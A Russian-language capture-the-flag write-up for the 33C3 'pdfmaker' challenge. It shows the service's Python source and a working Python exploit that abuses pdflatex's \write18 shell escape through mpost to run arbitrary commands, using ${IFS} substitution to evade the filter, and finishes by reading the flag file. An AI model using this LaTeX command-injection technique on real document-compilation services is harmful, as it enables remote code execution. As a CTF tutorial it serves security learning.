- PVSM.RU - https://www.pvsm.ru -

33C3 CTF Эксплуатируем уязвимость LaTeX’а в задании pdfmaker

Этот небольшой write-up будет посвящен разбору одного из заданий с недавнего CTF 33С3 [1]. Задания ещё доступны по ссылке [2], а пока рассмотрим решение pdfmaker из раздела Misc.

Собственно, описание задания:

Just a tiny application [3], that lets the user write some files and compile them with pdflatex. What can possibly go wrong?

nc 78.46.224.91 24242

К заданию прилагался скрипт, исходным кодом сервиса:

pdfmaker_public.py

#!/usr/bin/env python2.7
# -*- coding: utf-8 -*-

import signal
import sys
from random import randint
import os, pipes
from shutil import rmtree
from shutil import copyfile
import subprocess

class PdfMaker:

  def cmdparse(self, cmd):
    fct = {
      'help': self.helpmenu,
      '?': self.helpmenu,
      'create': self.create,
      'show': self.show,
      'compile': self.compilePDF,
      'flag': self.flag
    }.get(cmd, self.unknown)
    return fct

  def handle(self):
    self.initConnection()
    print " Welcome to p.d.f.maker! Send '?' or 'help' to get the help. Type 'exit' to disconnect."
    instruction_counter = 0
    while(instruction_counter < 77):
      try:
        cmd = (raw_input("> ")).strip().split()
        if len(cmd) < 1:
           continue
        if cmd[0] == "exit":
          self.endConnection()
          return
        print self.cmdparse(cmd[0])(cmd)
        instruction_counter += 1
      except Exception, e:
        print "An Exception occured: ", e.args
        self.endConnection()
        break
    print "Maximum number of instructions reached"
    self.endConnection()

  def initConnection(self):
    cwd = os.getcwd()
    self.directory = cwd + "/tmp/" + str(randint(0, 2**60))
    while os.path.exists(self.directory):
      self.directory = cwd + "/tmp/" + str(randint(0, 2**60))
    os.makedirs(self.directory)
    flag = self.directory + "/" + "33C3" + "%X" % randint(0, 2**31) +  "%X" % randint(0, 2**31)
    copyfile("flag", flag)


  def endConnection(self):
    if os.path.exists(self.directory):
      rmtree(self.directory)

  def unknown(self, cmd):
    return "Unknown Command! Type 'help' or '?' to get help!"

  def helpmenu(self, cmd):
    if len(cmd) < 2:
      return " Available commands: ?, help, create, show, compile.n Type 'help COMMAND' to get information about the specific command."
    if (cmd[1] == "create"):
      return (" Create a file. Syntax: create TYPE NAMEn"
              " TYPE: type of the file. Possible types are log, tex, sty, mp, bibn"
              " NAME: name of the file (without type ending)n"
              " The created file will have the name NAME.TYPE")
    elif (cmd[1] == "show"):
      return (" Shows the content of a file. Syntax: show TYPE NAMEn"
              " TYPE: type of the file. Possible types are log, tex, sty, mp, bibn"
              " NAME: name of the file (without type ending)")
    elif (cmd[1] == "compile"):
      return (" Compiles a tex file with the help of pdflatex. Syntax: compile NAMEn"
              " NAME: name of the file (without type ending)")

  def show(self, cmd):
    if len(cmd) < 3:
      return " Invalid number of parameters. Type 'help show' to get more info."
    if not cmd[1] in ["log", "tex", "sty", "mp", "bib"]:
      return " Invalid file ending. Only log, tex, sty and mp allowed"

    filename = cmd[2] + "." + cmd[1]
    full_filename = os.path.join(self.directory, filename)
    full_filename = os.path.abspath(full_filename)

    if full_filename.startswith(self.directory) and os.path.exists(full_filename):
      with open(full_filename, "r") as file:
        content = file.read()
    else:
      content = "File not found."
    return content

  def flag(self, cmd):
    pass

  def create(self, cmd):
    if len(cmd) < 3:
      return " Invalid number of parameters. Type 'help create' to get more info."
    if not cmd[1] in ["log", "tex", "sty", "mp", "bib"]:
      return " Invalid file ending. Only log, tex, sty and mp allowed"

    filename = cmd[2] + "." + cmd[1]
    full_filename = os.path.join(self.directory, filename)
    full_filename = os.path.abspath(full_filename)

    if not full_filename.startswith(self.directory):
      return "Could not create file."

    with open(full_filename, "w") as file:
      print "File created. Type the content now and finish it by sending a line containing only 'q'."
      while 1:
        text = raw_input("");
        if text.strip("n") == "q":
          break
        write_to_file = True;
        for filter_item in ("..", "*", "/", "\x"):
          if filter_item in text:
            write_to_file = False
            break
        if (write_to_file):
          file.write(text + "n")
    return "Written to " + filename + "."

  def compilePDF(self, cmd):
    if (len(cmd) < 2):
      return " Invalid number of parameters. Type 'help compile' to get more info."
    filename = cmd[1] + ".tex"
    full_filename = os.path.join(self.directory, filename)
    full_filename = os.path.abspath(full_filename)
    if not full_filename.startswith(self.directory) or not os.path.exists(full_filename):
      return "Could not compile file."
    compile_command = "cd " + self.directory + " && pdflatex " + pipes.quote(full_filename)
    compile_result = subprocess.check_output(compile_command, shell=True)
    return compile_result

def signal_handler_sigint(signal, frame):
  print 'Exiting...'
  pdfmaker.endConnection()
  sys.exit(0)

if __name__ == "__main__":
  signal.signal(signal.SIGINT, signal_handler_sigint)

  pdfmaker = PdfMaker()
  pdfmaker.handle()

После изучения скрипта, становится понятно, что мы имеем дело с pdflatex. Быстрый поиск в гугл выдаёт ссылку на статью [4] с описанием недавней уязвимости. Так же определяем, что нужный нам флаг начинается с 33C3 и далее идёт рандомная последовательность.

Воспользуемся им, и напишем небольшой скрипт для более удобного выполнения команд:

#!/usr/bin/python3
import socket

def send(cmd):
	s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	s.connect(("78.46.224.91", 24242))
	x = '''verbatimtex
documentclass{minimal}begin{document}
etex beginfig (1) label(btex blah etex, origin);
endfig; end{document} bye
q
'''
	s.send('create mp xn'.encode())
	s.send(x.encode())

	s.send('create tex testn'.encode())
	test = '''documentclass{article}begin{document}
immediatewrite18{mpost -ini "-tex=bash -c (%s)>flag.tex" "x.mp"}
end{document}
q
''' %(cmd)
	s.sendall(test.encode())
	s.send('compile testn'.encode())
	s.send('show tex flagn'.encode())
	data = s.recv(90240)
	data = data.decode()
	s.close()
	return data

while True:
	cmd = input('> ')
	cmd = cmd.replace(' ','${IFS}')
	print(send(cmd))	

После запуска, выяснилось, что символ слеша, не верно обрабатывается, и команда, в которой он присутствует не выполняется. Шелл у нас есть, осталось вывести флаг командой:

ls | grep 33 | xargs cat

33C3 CTF Эксплуатируем уязвимость LaTeX'а в задании pdfmaker - 1

Задание пройдено, флаг найден!

Автор: GH0st3rs

Источник [5]


Сайт-источник PVSM.RU: https://www.pvsm.ru

Путь до страницы источника: https://www.pvsm.ru/vulnerability/227802

Ссылки в тексте:

[1] 33С3: https://33c3ctf.ccc.ac

[2] ссылке: https://33c3ctf.ccc.ac/challenges/

[3] application: https://33c3ctf.ccc.ac/uploads/pdfmaker-023c4ad945cb421a8bec1013bddf2bab5f77f77a.tar.xz

[4] статью: http://scumjr.github.io/2016/11/28/pwning-coworkers-thanks-to-latex/

[5] Источник: https://habrahabr.ru/post/318850/?utm_source=habrahabr&utm_medium=rss&utm_campaign=best